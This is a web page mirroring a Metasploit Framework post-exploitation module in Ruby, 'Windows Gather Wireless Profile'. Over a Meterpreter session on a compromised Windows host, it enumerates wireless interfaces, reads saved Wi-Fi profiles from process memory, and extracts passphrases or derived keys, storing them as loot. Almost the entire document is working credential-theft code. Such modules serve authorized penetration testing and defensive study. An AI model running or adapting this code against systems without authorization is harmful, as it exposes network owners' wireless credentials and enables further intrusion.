CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/wlan/wlan_profile.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Auxiliary::Report
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Windows Gather Wireless Profile',
14
'Description' => %q{
15
This module extracts saved Wireless LAN profiles. It will also try to decrypt
16
the network key material. Behavior is slightly different between OS versions
17
when it comes to WPA. In Windows Vista/7 we will get the passphrase. In
18
Windows XP we will get the PBKDF2 derived key.
19
},
20
'License' => MSF_LICENSE,
21
'Author' => ['theLightCosine'],
22
'Platform' => [ 'win' ],
23
'SessionTypes' => [ 'meterpreter' ],
24
'Compat' => {
25
'Meterpreter' => {
26
'Commands' => %w[
27
stdapi_railgun_api
28
stdapi_sys_process_attach
29
stdapi_sys_process_getpid
30
]
31
}
32
}
33
)
34
)
35
end
36
37
def run
38
# Opens memory access into the host process
39
mypid = client.sys.process.getpid
40
@host_process = client.sys.process.open(mypid, PROCESS_ALL_ACCESS)
41
@wlanapi = client.railgun.wlanapi
42
wlan_info = "Wireless LAN Profile Information \n"
43
wlan_handle = open_handle
44
unless wlan_handle
45
print_error("Couldn't open WlanAPI Handle. WLAN API may not be installed on target")
46
print_error('On Windows XP this could also mean the Wireless Zero Configuration Service is turned off')
47
return
48
end
49
wlan_iflist = enum_interfaces(wlan_handle)
50
51
if wlan_iflist.empty?
52
print_status('No wireless interfaces')
53
return
54
end
55
56
# Take each enumerated interface and gets the profile information available on each one
57
wlan_iflist.each do |interface|
58
wlan_profiles = enum_profiles(wlan_handle, interface['guid'])
59
guid = guid_to_string(interface['guid'])
60
61
# Store all the information to be saved as loot
62
wlan_info << "GUID: #{guid} Description: #{interface['description']} State: #{interface['state']}\n"
63
wlan_profiles.each do |profile|
64
wlan_info << " Profile Name: #{profile['name']}\n"
65
wlan_info << profile['xml']
66
end
67
end
68
# strip the nullbytes out of the text for safe outputting to loot
69
wlan_info.gsub!(/\x00/, '')
70
print_good(wlan_info)
71
store_loot('host.windows.wlan.profiles', 'text/plain', session, wlan_info, 'wlan_profiles.txt', 'Wireless LAN Profiles')
72
73
# close the Wlan API Handle
74
closehandle = @wlanapi.WlanCloseHandle(wlan_handle, nil)
75
if closehandle['return'] == 0
76
print_status('WlanAPI Handle Closed Successfully')
77
else
78
print_error('There was an error closing the Handle')
79
end
80
end
81
82
def open_handle
83
begin
84
wlhandle = @wlanapi.WlanOpenHandle(2, nil, 4, 4)
85
rescue StandardError
86
return nil
87
end
88
return wlhandle['phClientHandle']
89
end
90
91
def enum_interfaces(wlan_handle)
92
iflist = @wlanapi.WlanEnumInterfaces(wlan_handle, nil, 4)
93
pointer = iflist['ppInterfaceList']
94
numifs = @host_process.memory.read(pointer, 4)
95
numifs = numifs.unpack('V')[0]
96
interfaces = []
97
return [] if numifs.nil?
98
99
# Set the pointer ahead to the first element in the array
100
pointer = (pointer + 8)
101
(1..numifs).each do |_i|
102
interface = {}
103
# Read the GUID (16 bytes)
104
interface['guid'] = @host_process.memory.read(pointer, 16)
105
pointer = (pointer + 16)
106
# Read the description(up to 512 bytes)
107
interface['description'] = @host_process.memory.read(pointer, 512)
108
pointer = (pointer + 512)
109
# Read the state of the interface (4 bytes)
110
state = @host_process.memory.read(pointer, 4)
111
pointer = (pointer + 4)
112
113
# Turn the state into human readable form
114
state = state.unpack('V')[0]
115
case state
116
when 0
117
interface['state'] = 'The interface is not ready to operate.'
118
when 1
119
interface['state'] = 'The interface is connected to a network.'
120
when 2
121
interface['state'] = 'The interface is the first node in an ad hoc network. No peer has connected.'
122
when 3
123
interface['state'] = 'The interface is disconnecting from the current network.'
124
when 4
125
interface['state'] = 'The interface is not connected to any network.'
126
when 5
127
interface['state'] = 'The interface is attempting to associate with a network.'
128
when 6
129
interface['state'] = 'Auto configuration is discovering the settings for the network.'
130
when 7
131
interface['state'] = 'The interface is in the process of authenticating.'
132
else
133
interface['state'] = 'Unknown State'
134
end
135
interfaces << interface
136
end
137
return interfaces
138
end
139
140
def enum_profiles(wlan_handle, guid)
141
profiles = []
142
proflist = @wlanapi.WlanGetProfileList(wlan_handle, guid, nil, 4)
143
ppointer = proflist['ppProfileList']
144
numprofs = @host_process.memory.read(ppointer, 4)
145
numprofs = numprofs.unpack('V')[0]
146
ppointer = (ppointer + 8)
147
(1..numprofs).each do |_j|
148
profile = {}
149
# Read the profile name (up to 512 bytes)
150
profile['name'] = @host_process.memory.read(ppointer, 512)
151
ppointer = (ppointer + 516)
152
153
rprofile = @wlanapi.WlanGetProfile(wlan_handle, guid, profile['name'], nil, 4, 4, 4)
154
xpointer = rprofile['pstrProfileXML']
155
156
# The size of the XML string is unknown. If we read too far ahead we will cause it to break
157
# So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes
158
readsz = 1000
159
profmem = @host_process.memory.read(xpointer, readsz)
160
until profmem[/(\x00){2}/]
161
readsz = (readsz + 100)
162
profmem = @host_process.memory.read(xpointer, readsz)
163
end
164
165
# Slice off any bytes we picked up after the string terminates
166
profmem.slice!(profmem.index(/(\x00){2}/), (profmem.length - profmem.index(/(\x00){2}/)))
167
profile['xml'] = profmem
168
profiles << profile
169
end
170
return profiles
171
end
172
173
# Convert the GUID to human readable form
174
def guid_to_string(guid)
175
aguid = guid.unpack('H*')[0]
176
sguid = '{' + aguid[6, 2] + aguid[4, 2] + aguid[2, 2] + aguid[0, 2]
177
sguid << '-' + aguid[10, 2] + aguid[8, 2] + '-' + aguid[14, 2] + aguid[12, 2] + '-' + aguid[16, 4]
178
sguid << '-' + aguid[20, 12] + '}'
179
return sguid
180
end
181
end
182
183